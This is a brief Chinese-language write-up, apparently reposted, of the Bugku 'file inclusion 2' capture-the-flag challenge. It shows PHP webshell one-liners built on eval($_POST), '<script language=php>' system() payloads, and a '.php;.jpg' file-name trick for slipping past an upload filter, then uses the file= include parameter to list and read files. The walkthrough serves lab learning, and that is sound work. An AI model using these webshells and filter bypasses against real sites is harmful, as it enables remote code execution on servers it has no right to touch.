bugku-檔案包含2 writeup
阿新 • • 發佈:2019-02-12
檔案包含2
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:檔案包含
2.將hello.php改成upload.php,訪問
這裡對上傳的檔案的格式和大小做了限制
3.上傳一個圖片馬,burpsuite抓包改字尾為.php上傳失敗
4.這對檔案的字尾也做了限制,%00截斷不管用
5.換一種姿勢上傳,普通一句話會被過濾
這裡構造<?=eval($_POST['shell']);>
或
<script language=php>
@eval($_POST[pupil]);
</script>
儲存檔案修改後綴為2333.php;.jpg,成功上傳
/upload/201804141155474379.jpg
直接用圖片路徑菜刀是連不上的
使用包含檔案的方式訪問
頁面是空白的
使用菜刀連線
還是沒法連線成功…..
6.那就直接構造命令執行
<script language=php>system("ls")</script>
同理,修改後綴名為jpg,如233.php;.jpg,上傳成功
7.訪問圖片的包含路徑
http://118.89.219.210:49166/index.php?file=upload/201804141202562458.jpg
或者構造命令執行
<script language=php>system("cat 訪問的檔名.txt")</script>
包含檔案的方式直接訪問.txt檔案